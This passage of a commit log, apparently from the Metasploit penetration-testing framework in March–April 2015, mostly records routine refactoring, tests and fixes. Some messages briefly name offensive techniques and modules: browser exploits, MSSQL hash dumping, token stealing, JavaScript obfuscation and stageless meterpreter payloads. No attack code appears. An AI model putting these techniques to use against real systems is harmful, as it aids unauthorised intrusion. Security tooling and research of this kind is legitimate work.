command_dispatcher.
* Fix spec include.
2015-04-02 09:05:38 +10:00
William Vu
8140b0ee6c
Update Qualys importers for the new CVE format
2015-04-01 17:50:18 -05:00
William Vu
c55e200416
Add workspace saving to msfconsole's save command
2015-04-01 17:31:43 -05:00
sinn3r
e972357aeb
Fix #4471 , uninitialized constant Msf::Exploit::Remote::SMB::Recog
...
Fix #4471
Seems to be specific to Kali
2015-04-01 16:35:23 -05:00
sinn3r
e1adcfee1e
No case sensitive
2015-04-01 16:14:54 -05:00
Matt Buck
cecc8aba2c
Land #5052 , fix bug with session creation
...
Fix the bug that attempted to use a session before it was added to the
database.
MSP-12493 #land
2015-04-01 14:38:42 -05:00
HD Moore
db5293eeee
Lands #5054 , adds a module for the Ceragon mateidu SSH issue
2015-04-01 14:32:56 -05:00
Tod Beardsley
b17727d244
Switching to privileged => false
2015-04-01 14:35:45 -05:00
sinn3r
a592f645f0
Land #5039 , Webdorado gallery wd 1.2.5 unauthenticated SQLi scanner
2015-04-01 14:34:58 -05:00
Tod Beardsley
0825534d2c
Fix reference
2015-04-01 14:16:45 -05:00
Tod Beardsley
8ec71e9daf
Add a module for R7-2015-05
2015-04-01 14:05:41 -05:00
James Lee
8c1a597a25
Make a Session record before using it
...
How about that.
2015-04-01 13:12:28 -05:00
jvazquez-r7
02a5730d92
Use calculate_interface_hash
2015-04-01 12:09:42 -05:00
sinn3r
0b14a18ad2
This is final
2015-04-01 12:00:49 -05:00
Brent Cook
f4977bf606
Land #5006 @jlee-r7 adds meterpreter specs
2015-04-01 11:05:47 -05:00
jvazquez-r7
f954ff78c0
Fix typo
2015-04-01 10:51:54 -05:00
nullbind
91aeef0a8a
added startrid and endrid
2015-04-01 10:09:13 -05:00
OJ
46dca23ffe
Land #5047 : Metasploit is magic (Banner Adjustments)
2015-04-01 21:51:10 +10:00
Tod Beardsley
293cbfc8f3
Slightly wanged one of the text bubbles
2015-04-01 06:46:50 -05:00
OJ
01bdf54487
Merge branch 'upstream/master' into dynamic-transport
2015-04-01 18:53:20 +10:00
OJ
02383d4e90
Add machine_id functionality to python meterpreter
2015-04-01 17:50:50 +10:00
sinn3r
0ee858cd65
Some useful messages
2015-04-01 01:41:31 -05:00
sinn3r
8ad07cdc0f
This should be on the right track
2015-04-01 01:27:50 -05:00
OJ
79ec2e0586
Add machine ID support to the command list
2015-04-01 14:29:04 +10:00
William Vu
df0398f958
Update msftidy for the new CVE format
...
https://cve.mitre.org/cve/identifiers/syntaxchange.html
2015-03-31 22:15:33 -05:00
OJ
24171a1a08
Land #5045 : Convert stageless proxy to new format
2015-04-01 12:06:57 +10:00
HD Moore
be575bb108
Merge pull request #10 from OJ/hd-stageless-proxy
...
Fix up the proxy patching
2015-03-31 20:54:50 -05:00
OJ
1a313ad943
Fix up the proxy patching
...
Patching of the proxy details was failing, so this commit fixes that.
Also, added code that makes the proxy type check case-insensitive.
2015-04-01 11:48:22 +10:00
sinn3r
6795c90eac
Some progress
2015-03-31 20:46:34 -05:00
James Lee
e5cd88a51e
Land #5044 , missing HKLM in regkey
2015-03-31 17:50:03 -05:00
Samuel Huckins
d5030f7e53
Land 5036, vuln push to NX updates into master
2015-03-31 17:32:02 -05:00
Samuel Huckins
835a66cc95
Land 5042, fix issues on reporting exploit success
2015-03-31 17:14:01 -05:00
James Lee
2fc22132e0
Link the new constant as default in documentation
2015-03-31 16:48:02 -05:00
sinn3r
97305629cb
Add Solarwinds FSM module
...
starter
2015-03-31 16:21:52 -05:00
James Lee
44dd45e48d
Use a const instead of hardcoding "tcp" everywhere
2015-03-31 16:15:04 -05:00
HD Moore
34ff94e0da
Fix the proxy user/pass options
2015-03-31 15:49:43 -05:00
HD Moore
df15892958
Convert stageless proxy settings to the new format
2015-03-31 15:46:15 -05:00
HD Moore
a39ba05383
Functional Payload UUID embedding via PayloadUUIDSeed
2015-03-31 15:44:18 -05:00
James Lee
76bfaa6ce9
Fix dumb inverted logic. Thanks, rspec!
2015-03-31 14:28:07 -05:00
David Maloney
63da27ece0
add missing HKLM root to regkey
...
the chevkm windows psot module had HKLM
missing from the front of one of it's reg key
paths. This was missed in Rails 3 due to the
error being swallowed unexpectedly. in rails 4
we actually see this cause a stack trace
MSP-12384
2015-03-31 14:17:18 -05:00
James Lee
8b8ec5990a
Ask the database how long the column should be
...
Instead of hardcoding a number
2015-03-31 14:12:22 -05:00
Tod Beardsley
34d637c7b8
Needs more ponies
2015-03-31 13:59:37 -05:00
Brent Cook
c666d0494f
Land #5043 @todb-r7's release fixups
2015-03-31 13:41:24 -05:00
James Lee
a8ef465b46
Use the variables we worked so hard to create
2015-03-31 13:34:27 -05:00
James Lee
3695d4b0c7
Don't modify argument in place
2015-03-31 13:32:28 -05:00
James Lee
adcf88761d
Save ref names for easier debugging
2015-03-31 13:07:09 -05:00
HD Moore
a9cfd7efef
Merging master back into the UUID branch
2015-03-31 12:02:03 -05:00
James Lee
176cdcb836
Use sym-to-proc instead of reimplementing it
2015-03-31 11:21:53 -05:00
Tod Beardsley
d1318d1b48
Fixups for release
2015-03-31 11:02:12 -05:00
James Lee
a1a7faa77a
Don't modify argument in place
2015-03-31 10:41:24 -05:00
James Lee
7e559f7b13
Don't modify argument in place
2015-03-31 10:16:14 -05:00
James Lee
971120ce98
Use create! instead of new ... save!
2015-03-31 10:15:23 -05:00
OJ
633b46874d
Merge branch 'upstream/master'
2015-03-31 14:53:48 +10:00
OJ
86d8aab854
Land #5040 : Remove wininet hack for http/s meterp
2015-03-31 14:50:13 +10:00
Brent Cook
d89cd118e0
remove wininet workaround in meterpreter http/s
...
We had a workaround to close connections on very old wininet implementations
that would not do it themselves. With the new WinHttp API-using meterpreters
and stagers, we no longer should use this workaround. It can actually be
actively bad and prematurely close the connection.
This needs testing around different payloads, and they should be on real
networks, ideally where TCP really has to work to get data transfered.
2015-03-30 23:38:32 -05:00
James Lee
dfaf1b3a8f
Stub monitor_sock so we don't leak threads
2015-03-30 22:03:39 -05:00
James Lee
47d85af811
Really truly update schema for reals
...
Srsly
2015-03-30 18:35:17 -05:00
Brandon Perry
e73286cfa5
update stale references
2015-03-30 17:17:48 -05:00
OJ
97d788676c
Set dynamic_size true for x64 stageless
2015-03-31 07:37:46 +10:00
OJ
253e5d7dff
Include correct module, remove specified encoder type
2015-03-31 07:23:51 +10:00
James Lee
790a08a848
It's pronounced "exploit", not "assoc_exploit"
2015-03-30 16:21:17 -05:00
Tod Beardsley
3f0f659eaf
Land #5019 , add rescues to some LoginScanners
2015-03-30 16:06:51 -05:00
James Lee
bf2d37c511
Axe superfluous line in Gemfile
...
Covered by the gemspec
2015-03-30 14:57:12 -05:00
James Lee
d3dd7ecfc5
Update to latest schema
2015-03-30 14:10:06 -05:00
James Lee
2394d4bae8
Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success
...
Conflicts:
Gemfile
Gemfile.lock
spec/support/shared/examples/msf/db_manager/exploit_attempt.rb
2015-03-30 14:08:54 -05:00
James Lee
2ab4584079
Merge remote-tracking branch 'upstream/master' into staging/single-vuln-push
2015-03-30 13:50:52 -05:00
James Lee
46d4d6b588
Update to latest Mdm
2015-03-30 13:48:21 -05:00
James Lee
1b0e3f13c6
Remove unnecessary extra assignment
2015-03-30 13:14:36 -05:00
James Lee
310779d7bf
Death to hashrockets
2015-03-30 13:13:58 -05:00
James Lee
6386289d80
Remove bogus spec
...
No longer necessary to check that we're instantiating an Msf::Module
because we get the same information by reusing an existing
Mdm::Module::Detail
2015-03-30 13:10:36 -05:00
James Lee
e65f4e92ea
Separate the two ways to make Mdm::Sessions
...
Failing spec due to reuse of Mdm::Module::Detail instead of also
instantiating an Msf::Module
2015-03-30 13:05:20 -05:00
Tod Beardsley
b770f8dca4
Land #5026 , #5027 , #5028 : Doc grammar
...
This merge covers three PRs. It /should/ autoresolve #5026 and #5028 , but
I will have to manually close #5027 with this comment.
2015-03-30 12:55:19 -05:00
Samuel Huckins
18e3a78285
Using latest released MDM
2015-03-30 12:51:12 -05:00
sinn3r
613f4777ce
Land #5024 , add joomla_ecommercewd_sqli_scanner.rb
2015-03-30 12:45:09 -05:00
James Lee
374db22d5b
Re-enable host lookup for _failure
...
Again needed when called from exploit_driver because nothing is reported
yet at that point.
Also adds some yardoc
2015-03-30 12:30:52 -05:00
Tod Beardsley
f663f39e1f
Bring in #5026 for minor edits
2015-03-30 12:11:29 -05:00
Dillon Korman
be7ffc9a0d
Bring in #5027 for only a couple edits
...
Switching from " to ' is usually more trouble than it's worth, even if
it's more technically correct. The original PR had a great example of
that kind of error, where you accidentally screw up an interior
apostraphe.
[See #5027 ]
2015-03-30 12:08:52 -05:00
Tod Beardsley
7697ff1295
Revert a couple of the suggested edits
...
In the main, though, the edits are good. Just disagree with a couple.
[See #5028 ]
2015-03-30 12:04:15 -05:00
Tod Beardsley
ffc9659024
Bring in #5028 for more edits
2015-03-30 11:59:18 -05:00
sinn3r
2181c572b8
Land #5021 , nessus.rb "imported" status
2015-03-30 11:33:55 -05:00
sinn3r
8ea1ffc6ff
Land #5030 , CVE-2015-0313 Flash Exploit
2015-03-30 11:31:53 -05:00
David Maloney
103373a7eb
add back accidentally remvoed error
...
accidentally dropped Errno::ETIMEDOUT from the exception
handling
MSP-12389
2015-03-30 11:19:28 -05:00
jvazquez-r7
ee404713f1
Land #5014 , @wchen-r7's module for MS14-052
...
* As auxiliary module to gather info about existent local files
2015-03-30 11:02:56 -05:00
jvazquez-r7
8ff54ff98d
Add msb reference
2015-03-30 10:58:08 -05:00
sinn3r
9af1e76bf7
Obfuscate js
2015-03-30 10:52:01 -05:00
sinn3r
c7fa01c5ae
Rename file
2015-03-30 10:39:33 -05:00
OJ
6610504b10
Update payload spec
2015-03-30 21:07:30 +10:00
OJ
c28cc66398
Add x64 bind_tcp and reverse_ipv6_tcp
...
Also fix up a couple of modules to use Metasploit4 instead of
Metasploit3.
2015-03-30 18:59:30 +10:00
James Lee
f0eeef3cbb
Move copy-pasta into a new method
2015-03-30 01:43:56 -05:00
Denis Kolegov
9d78aa96d9
Add output of API errors to console
2015-03-30 02:42:09 -04:00
James Lee
49902a6395
We actually do need the port/proto for failure
...
Because it is called from lib/msf/core/exploit.rb Exploit#report_failure
with datstore values
Partial revert of e3605aa252
2015-03-30 01:01:34 -05:00
James Lee
7b1ac29788
Fix subject
2015-03-30 00:53:31 -05:00
James Lee
415510ca6a
Fix stupid typo that made vuln_id an Array
2015-03-30 00:52:02 -05:00
James Lee
283e50fd42
Check the case of having no vuln
2015-03-30 00:09:49 -05:00
Joshua Smith
3d2f9b282d
Land #5031 , fix ms10_104_sharepoint description
2015-03-30 00:00:21 -05:00
Samuel Huckins
13fc498523
Land #4948 , fixes several AppScan import issues
2015-03-29 23:33:01 -05:00
OJ
26792975eb
Refactor of code to reduce duplication
...
Add mixin for the stageless http preparation
2015-03-30 13:18:56 +10:00
OJ
f8851551c5
Add initial x64 stageless meterrpeter module
2015-03-30 11:23:51 +10:00
OJ
fdcf1297a6
Tweaks to the stageless materpreter x64 payload
2015-03-30 11:09:49 +10:00
OJ
0fa812e5ba
Merge upstrea/master
2015-03-30 10:17:17 +10:00
OJ
ae86f23b4d
Land #5033 : Fix logic in EncodedPayload
2015-03-30 10:16:35 +10:00
HD Moore
e65ac57d1b
Fix a logic check in EncodedPayload, which unbreaks stageless testing
2015-03-29 19:08:35 -05:00
OJ
ce8f6d72e1
More work on x64 stageless
...
Testing with HD's new changes that allow for generation of larger x64
payloads
2015-03-30 09:51:04 +10:00
h00die
28b9e89963
removed duplicate "uses" from description
2015-03-29 19:40:31 -04:00
OJ
17dc2b184d
Merging upstream/master
2015-03-30 09:12:20 +10:00
OJ
d3d920b810
Land #5029 : Support large payloads for msfvenom EXE
2015-03-30 08:54:00 +10:00
OJ
c0f496197c
Rejig code to support http payloads
...
* Move the uri checksum code to a spot that can be shared with rex.
* Adjust modules to make use of this new location.
* Fix up the tranpsort switcher to add the URI for those payloads.
2015-03-30 07:11:25 +10:00
jvazquez-r7
11c6f3fdca
Do reliable resolution of kernel32
2015-03-29 15:52:13 -05:00
HD Moore
a1c755161a
Add spec coverage for appender, fix injector
2015-03-29 11:52:06 -05:00
Dillon Korman
6c707c8ad8
Update README.md
2015-03-29 01:08:06 -10:00
HD Moore
607cc8fef6
Remove a stale comment
2015-03-29 01:54:07 -05:00
HD Moore
0a4a72f49d
Support templates with small text sections (win32)
2015-03-29 01:51:58 -05:00
HD Moore
b9b40edde9
Major speedup, especially for large shellcode (stageless)
2015-03-29 00:44:06 -05:00
Meatballs
fd45d92cb7
Add reference for mssql_local_hashdump
2015-03-29 02:14:20 +01:00
Meatballs
c430e5fab1
@m7x forgot to put a reference in
2015-03-29 02:13:31 +01:00
Dillon Korman
0d110ad896
Update CONTRIBUTING.md
...
Grammar and style.
2015-03-28 15:11:05 -10:00
Meatballs
8b622fb7ee
Land #4822 , grab MSSQL hashdump a la mssql_local_auth_bypass
2015-03-29 00:54:31 +00:00
Meatballs
9eca3a0ab5
Impersonation spec
2015-03-29 00:52:27 +00:00
Dillon Korman
6c36c8cec7
Update README.md
...
Grammar and style.
2015-03-28 14:51:15 -10:00
Meatballs
10029eedb9
Add command specs
2015-03-29 00:05:44 +00:00
Meatballs
f7e3abf760
sqlcmd specs and fixes
2015-03-28 23:23:00 +00:00
Meatballs
3b651aecdc
Specs for sqlserver check and fixes
2015-03-28 22:59:00 +00:00
Brandon Perry
de2bf0181c
add first pass at gallerywd sqli scanner
2015-03-28 16:15:51 -05:00
Brandon Perry
9f0483248c
add TARGETURI datastore option
2015-03-28 15:46:41 -05:00
Meatballs
da49709845
Add yarddoc
2015-03-28 20:31:36 +00:00
Meatballs
8e22255a40
Small tidyup/rubocop
...
Signed-off-by: Meatballs <eat_meatballs@hotmail.co.uk >
2015-03-28 20:31:36 +00:00
Meatballs
9529eed41d
More specific matching
2015-03-28 20:31:35 +00:00
Meatballs
a30d8f7040
Add requires
2015-03-28 20:31:35 +00:00
Meatballs
2ed9489f38
Delete load line
2015-03-28 20:31:35 +00:00
Meatballs
a1d74c27c6
Check for only running services
2015-03-28 20:31:35 +00:00
Meatballs
99f79e8533
Use incognito token stealing rather than process migration if we have
...
the privileges required for successful impersonation.
2015-03-28 20:31:35 +00:00
Meatballs
9c2219124c
Remove some comments
2015-03-28 20:31:35 +00:00
Meatballs
f83f4ae764
Move hashdump to gather
2015-03-28 20:31:35 +00:00
Meatballs
e2af15a0df
Refactor MSSQL Post
2015-03-28 20:31:35 +00:00
root
1558190a9d
Add module mssql_local_hashdump
2015-03-28 20:31:35 +00:00
Brandon Perry
6ede476423
Update joomla_ecommercewd_sqli_scanner.rb
2015-03-28 08:38:12 -05:00
William Vu
ef8c0aac69
Land #5020 , spelling fixes for some modules
2015-03-28 00:36:04 -05:00
Brandon Perry
0dbd8544b4
Update joomla_ecommercewd_sqli_scanner.rb
2015-03-27 21:20:59 -05:00
Brandon Perry
31be47d5bc
Create joomla_ecommercewd_sqli_scanner.rb
2015-03-27 20:25:33 -05:00
jvazquez-r7
f84a46df63
Add module for CVE-2015-0313
2015-03-27 18:51:13 -05:00
sekritskwurl
d1c6db5e4e
Update nessus.rb
...
updated as per wchen-r7's comment's, Thank you wchen-r7!
2015-03-27 19:44:11 -04:00
sinn3r
c4def25e82
Resolve #4986 , add support for IE11 for fingerprint_user_agent
...
Resolve #4986
2015-03-27 17:51:14 -05:00
sinn3r
9cfafdd8b8
Land #4649 , improve post/windows/manage/run_as and as an exploit
2015-03-27 17:31:30 -05:00
Trevor Rosen
2815462375
Update Mdm to staging hash
2015-03-27 15:16:33 -05:00
Trevor Rosen
27e05d7d73
Update Gemfile
2015-03-27 15:10:37 -05:00
C-P
4f4bf9debb
paylod vs payload
2015-03-27 11:55:15 -07:00
C-P
0a8fe781d1
paylod vs payload
2015-03-27 11:54:14 -07:00
C-P
5ba614a325
payloda vs payload
2015-03-27 11:53:20 -07:00
C-P
2d81460583
Explot vs Exploit
2015-03-27 11:37:11 -07:00
sekritskwurl
bb929d416d
Update nessus.rb
...
Add support for imported nessus scan results to be imported with nessus_db_import.
2015-03-27 14:32:01 -04:00
C-P
f129347b51
Filed vs Failed fix
2015-03-27 11:28:50 -07:00
C-P
48484c1f09
Filed vs Failed fix
2015-03-27 11:27:36 -07:00
David Maloney
441feec360
fix missing exception handling
...
a few of our http login scanners needed to
handle a couple of other exception classes
for when network communication errors occur
MSP-12389
2015-03-27 12:31:14 -05:00
James Lee
e3605aa252
We always pass a Service, get rid of port/proto
2015-03-27 11:54:03 -05:00
James Lee
25d0b8baff
Redundant check
2015-03-27 11:35:35 -05:00
James Lee
3b8d70b567
host is always an Mdm::Host, don't look it up again
2015-03-27 11:34:32 -05:00
James Lee
466ef4349e
Second verse, same as the first
2015-03-27 09:59:10 -05:00
Denis Kolegov
45f8738cfe
Fix stdout errors
2015-03-27 07:53:59 -04:00
Denis Kolegov
3515a0a71f
Initial commit for supporting SSL Labs API
2015-03-27 07:34:11 -04:00
Roberto Soares
3e104fd8e6
Add Directory Traversal for RIPS Scanner
2015-03-27 05:08:43 -03:00
sinn3r
f996c5a888
Update description
2015-03-27 02:31:36 -05:00
sinn3r
67dc46791d
Limit the module to IE 8 and IE9
2015-03-27 02:30:04 -05:00
sinn3r
f88d9651b6
I don't think it's worth putting the js in ie_addons.js
2015-03-27 02:26:50 -05:00
sinn3r
ad7d389328
Leave a comment
2015-03-26 23:37:11 -05:00
sinn3r
bd2763292a
Properly credit Soroush Dalili
2015-03-26 23:36:16 -05:00
sinn3r
560f31c34d
Minor changes
2015-03-26 23:29:44 -05:00
sinn3r
68624dd56e
Final for ie_files_disclosure.rb
2015-03-26 22:49:22 -05:00
sinn3r
b0b17775c2
First working version
2015-03-26 21:53:26 -05:00
James Lee
bf8146c8b5
Axe redundant check
2015-03-26 21:19:19 -05:00
James Lee
88a8186a11
Pull up redundant hash literal
2015-03-26 19:33:53 -05:00
Brent Cook
e0568e95c2
Land #4978 @zerosteiner adds reverse https for python meterpreter
2015-03-26 19:16:46 -05:00
Brent Cook
5ac1ee1d73
fix http/s handler reference counting for pymet
...
add a persistent session counter to avoid stopping listening when pymet stages over http/s
2015-03-26 18:26:56 -05:00
sinn3r
955c0557e0
Land #4988 , Relative URL for ms14_064_ole_code_execution
2015-03-26 13:36:37 -05:00
James Lee
a9e4961563
New hash syntax
2015-03-26 10:05:08 -05:00
James Lee
a3ae0daf5a
Whitespace
2015-03-26 10:02:08 -05:00
James Lee
dd5c69ff34
Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success
2015-03-26 09:54:29 -05:00
m-1-k-3
d81a246660
target_uri
2015-03-26 12:16:20 +01:00
m-1-k-3
b7f469b747
feedback
2015-03-26 07:39:36 +01:00
Spencer McIntyre
10e8cefd6d
Pymet dont validate ssl certs for 2.7.9/3.4.3
2015-03-25 19:49:42 -04:00
sinn3r
68cb766681
Land #5007 , Ruby 1.9+ syntax
2015-03-25 16:11:53 -05:00
sinn3r
8f03cadb92
Forgot to remove print_debug
2015-03-25 16:08:47 -05:00
William Vu
632879ceb6
Land #5001 , wp_easycart_privilege_escalation CVE
2015-03-25 13:54:44 -05:00
jvazquez-r7
d84c48cb7d
Use newer hash syntax
2015-03-25 13:39:34 -05:00
jvazquez-r7
72a0909e9b
Land #4992 , @wchen-r7's support for multiple ActiveX controls on BrowserExploitServerMerge
2015-03-25 13:30:36 -05:00
David Maloney
6546d30505
Land #5004 , Http Login Refactor
...
Land Wei's PR to refactor the http login scanner
moving the send request code into it's own method
2015-03-25 12:59:03 -05:00
James Lee
95d70e7211
Remove respond_to check for protected method
...
Fails on Ruby 2.x, and doesn't really gain us anything anyway.
2015-03-25 12:50:46 -05:00
James Lee
8f0c434faa
Add specs for the new method
2015-03-25 12:34:10 -05:00
jvazquez-r7
f80978d9e9
Calculate interface and method hashes dinamically
2015-03-25 11:46:54 -05:00
jvazquez-r7
0540e25db2
Calculate the java/rmi/registry/RegistryImpl_Stub hash dinamically
2015-03-25 11:29:07 -05:00
sinn3r
6e3e696262
Use symantec_web_gateway as an example of using send_request
2015-03-25 10:55:46 -05:00
sinn3r
60f1d9c961
More yard doc
2015-03-25 10:50:11 -05:00
sinn3r
9b9e157e84
More yard doc
2015-03-25 02:26:06 -05:00
sinn3r
ded500a9ae
Use send_request
2015-03-25 02:13:40 -05:00
sinn3r
6984e5234e
Fix a typo
2015-03-25 02:01:25 -05:00
sinn3r
8a8d6fb5ab
Some more changes
2015-03-25 02:00:23 -05:00
sinn3r
855cadc6b1
Rescue more exceptions
...
The attempt_login method is rescuing these exceptions, so maybe
I should do the same.
2015-03-25 01:48:37 -05:00
sinn3r
111e3fcb88
Add rspec for #send_request
2015-03-25 01:45:03 -05:00
sinn3r
8f95624bf7
Add #send_request to Metasploit::Framework::LoginScanner::HTTP
2015-03-25 01:40:02 -05:00
OJ
1f00b595bc
Hacked support for transport switching
2015-03-25 13:08:52 +10:00
jvazquez-r7
a5c39db6c3
Use mocks like a boss...
2015-03-24 19:30:59 -05:00
jvazquez-r7
0b671d5210
Add specs for Msf::Java::Rmi::Client::Jmx::Connection
2015-03-24 19:15:25 -05:00
jvazquez-r7
f43eab29ed
Delete debug puts
2015-03-24 19:14:30 -05:00
jvazquez-r7
356e8c727c
Add specs for Msf::Java::Rmi::Client::Jmx::Server
2015-03-24 18:56:58 -05:00
jvazquez-r7
464a6df5e0
Add specs for Msf::Java::Rmi::Client::Registry
2015-03-24 18:42:35 -05:00
rastating
7a0fe05803
Add CVE-ID to module references
2015-03-24 22:30:43 +00:00
jvazquez-r7
0fe98bc023
Delete old JMX mixin specs
2015-03-24 17:30:37 -05:00
jvazquez-r7
e20398a70a
Add specs for Msf::Java::Rmi::Client::Jmx::Server::Parser
2015-03-24 17:30:06 -05:00
William Vu
376bf13f1e
Land #5000 , tools/dev/add_pr_fetch.rb
2015-03-24 17:10:49 -05:00
William Vu
aa1a3580b8
chmod +x tools/dev/set_binary_encoding.rb
...
Missed in #4875 .
2015-03-24 17:10:31 -05:00
jvazquez-r7
0a352fc7d4
Finish specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder
2015-03-24 17:06:05 -05:00
William Vu
d3773aed55
Rename add-pr-remote.rb to add_pr_fetch.rb
2015-03-24 17:05:43 -05:00
jvazquez-r7
115c4e5a06
Add first specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder
2015-03-24 16:37:05 -05:00
jvazquez-r7
82d545850e
Add specs for Msf::Java::Rmi::Client::Jmx::Server::Builder
2015-03-24 16:04:18 -05:00
jvazquez-r7
87cac6fd55
Complete specs for Msf::Java::Rmi::Util
2015-03-24 15:41:32 -05:00
jvazquez-r7
48026da35f
Fix RMI specs
2015-03-24 15:14:36 -05:00
jvazquez-r7
0a07bb4d17
Add a couple of specs for Rex::Proto::Rmi::Model::ReturnValue
2015-03-24 15:08:59 -05:00
Christian Mehlmauer
7bf00f8f47
Land #4789 , @rastating WPLMS wordpress module
2015-03-24 20:46:38 +01:00
James Lee
b0fac4824c
Stop caring about order of keys in user_data
2015-03-24 14:21:52 -05:00
William Vu
6d85b5fd1e
Land #4998 , non-loopback LHOST tab completion
2015-03-24 14:00:01 -05:00
William Vu
660f3dac2b
Land #4997 , smb_version SMBDirect option fix
2015-03-24 13:46:09 -05:00
James Lee
023f47f19a
Use build instead of create
2015-03-24 13:17:42 -05:00
James Lee
b9934cfd3f
Add workspace to ensure consistency with session
2015-03-24 13:14:55 -05:00
James Lee
13a899b3d2
Use a named subject
2015-03-24 13:13:54 -05:00
James Lee
414983ac8c
Merge branch 'feature/MSP-11925/create-user-data' into staging/single-vuln-push
...
Conflicts:
Gemfile.lock
2015-03-24 12:42:08 -05:00
jvazquez-r7
6ea42f6599
Fix description
2015-03-24 12:30:27 -05:00
jvazquez-r7
7c0e17d1f7
Update RMI/JMX mixin documentation
2015-03-24 12:29:40 -05:00
James Lee
65c00dffac
Tab complete non-loopback interfaces' addresses
2015-03-24 12:10:58 -05:00
sinn3r
58c5be0d72
Allow SMBDirect to be optional
...
The smb_version module needs to deregister the SMBDirect option,
but cannot do this because SMBDirect is a required option. By
having it as optional, the user no longer needs to set it. Also,
since SMBDirect already has a default value, having it as optional
should not change the mixin's default behavior.
2015-03-24 12:04:44 -05:00
jvazquez-r7
39e87f927a
Make code consistent
2015-03-24 11:44:26 -05:00
William Vu
f5947e8ef5
Land #4996 , @todb-r7's grammaring harder
2015-03-24 11:15:17 -05:00
Tod Beardsley
49a6057f74
Grammaring harder
2015-03-24 11:10:36 -05:00
William Vu
bf70df6788
Land #4995 , db_nmap arguments fix
2015-03-24 10:51:47 -05:00
Tod Beardsley
3dec83c1df
Utility for adding PR fetch refs
2015-03-24 10:20:34 -05:00
RageLtMan
548a710745
Replace db_nmap string concat with an Array
...
16eab48012 introduced changes to
cmd_db_nmap which pass a new arguments variable to Open3 with a
list of args excluding save.
This approach created a problem wherein the address of the target
had to be passed in first and arguments could get mangled.
Reintroduce an array format, exploding when passing to Open3.
Ensure output file options are appended to the arguments being
passed to Open3, instead of the args variable.
Error example:
db_nmap -F 192.168.0.1
[*] Nmap: 'nmap: unrecognized option '- 192.168.0.1 ''
2015-03-24 04:36:58 -04:00
William Vu
9fadc399a2
Land #4994 , tools/missing-payload-tests.rb rename
...
To tools/missing_payload_tests.rb.
2015-03-24 01:00:29 -05:00
sinn3r
bef67d773c
Don't break untested_payloads.rb
2015-03-24 00:54:11 -05:00
William Vu
7c456f2ad8
Land #4993 , ams_xfr "payload_exe" NameError fix
2015-03-24 00:51:49 -05:00
sinn3r
1910a6c6c5
Correct filename for missing-payload-tests.rb
...
missing-payload-tests.rb is not the correct file format we follow,
it should be missing_payload_tests.rb
2015-03-24 00:50:09 -05:00
sinn3r
8255e7a2dc
Fix #4987 - undef payload_exe for ams_xfr
...
Fix #4987
2015-03-24 00:42:22 -05:00
William Vu
3dac6377d0
Fix #4983 , bad copy pasta'd deprecation year
2015-03-24 00:34:54 -05:00
William Vu
fadac30f00
Fix deprecated year
2015-03-24 00:34:38 -05:00
Christian Mehlmauer
6eedf6ac03
Land #4975 , egghunter tool, Resolve #4944
2015-03-24 06:20:30 +01:00
Christian Mehlmauer
71c544c3c5
added newline at end of file
2015-03-24 06:19:27 +01:00
sinn3r
3c4da5c3ff
Update BES rspec
2015-03-24 00:10:18 -05:00
William Vu
6353154865
Land #4983 , renamed WordPress modules
2015-03-23 23:49:40 -05:00
William Vu
e338b77389
Readd and deprecate renamed WordPress modules
2015-03-23 23:48:56 -05:00
sinn3r
db243a8225
x360_video_player_set_text_bof actually uses SetText for ActiveX
2015-03-23 23:36:20 -05:00
HD Moore
f6731f115f
Lands #4991 , fixes a potential backcompat issue w/meterpreter
2015-03-23 20:00:35 -05:00
sinn3r
3248f02c2c
These exploits use :activex, so I update the usage for them
2015-03-23 19:34:24 -05:00
OJ
25dcfc796a
Better support old binaries in rev http(s)
...
* Patch 256char URL if the 512char one doesn't work.
* Return an empty list in the case where the ext enum fails.
2015-03-24 10:14:44 +10:00
jvazquez-r7
04341bfc78
Support JMX_ROLE again
2015-03-23 17:32:26 -05:00
Brent Cook
1869977921
Land #4962 : OJ adjusts MSF to new metsrv needs
...
bump meterpreter bins to 0.0.17
2015-03-23 17:18:06 -05:00
Brent Cook
afe17e1f33
bump meterpreter bins to 0.0.17
2015-03-23 17:15:49 -05:00
jvazquez-r7
d8d4c23d60
JMX code refactoring
2015-03-23 17:06:51 -05:00
sinn3r
2900f57afd
It looks like this works
2015-03-23 16:46:53 -05:00
David Maloney
60966f3d2a
handle a blank response body
...
sometimes the response body itself can be blank
so we need to handle that properly.
MSP-9972
2015-03-23 16:03:30 -05:00
OJ
24d74b26e3
Beginning work for stageless x64 meterpreter
2015-03-24 06:50:06 +10:00
jvazquez-r7
6934fde5a1
Finish first draft of new jmx mixin
2015-03-23 15:49:18 -05:00
jvazquez-r7
962bb670de
Remove old JMX mixin
2015-03-23 15:48:10 -05:00
William Vu
809bc52dfc
Land #4982 , tagging for msfconsole
2015-03-23 15:28:50 -05:00
HD Moore
c7da9d6f79
Move file: prefix checks out of option class specs (would need to go into console test specs at some point)
2015-03-23 15:09:22 -05:00
HD Moore
dbe3fe38fd
Sanity check file: arguments for size and move into msfconsole
2015-03-23 14:57:44 -05:00
sinn3r
0e1b9f90b4
Small details
2015-03-23 14:40:20 -05:00
andygoblins
89e27d98ab
Use relative URL to GET payload for WinXP
...
Relative URLs are simpler, and allow the exploit to work on attack machines in NAT environments. Example: attack machine is NATed and does not have a DNS hostname. SRVHOST must be 0.0.0.0 but the victim cannot access the attacker from Rex::Socket.source_address
2015-03-23 14:40:06 -05:00
HD Moore
6852475be0
Placeholder for UUID options
2015-03-23 14:35:33 -05:00
HD Moore
dfbaa6b42e
Typo
2015-03-23 14:35:08 -05:00
sinn3r
e520ace1f1
Stash
2015-03-23 14:21:46 -05:00
Tod Beardsley
fe3f9c71cb
Land #4985 , Mozilla vuln from @joevennix
2015-03-23 14:05:35 -05:00
Tod Beardsley
21a97c0926
Add exploit for R7-2015-04, Firefox Proxy RCE
2015-03-23 13:44:41 -05:00
sinn3r
156520338d
Making some changes to how BES handles ActiveX
2015-03-23 12:21:27 -05:00
jvazquez-r7
79068c8ec2
Delete JMX discovery stream
2015-03-23 10:21:37 -05:00
aushack
b191f92713
Renamed WordPress files to fit majority naming convention.
2015-03-23 18:15:04 +11:00
sinn3r
01caf161f8
Fix syntax error in db_spec.rb
2015-03-23 01:35:26 -05:00
sinn3r
2e75d14d56
Update rspec
2015-03-23 00:53:55 -05:00
William Vu
1a2a78b417
Land #4981 , msfvenom advanced/evasion options
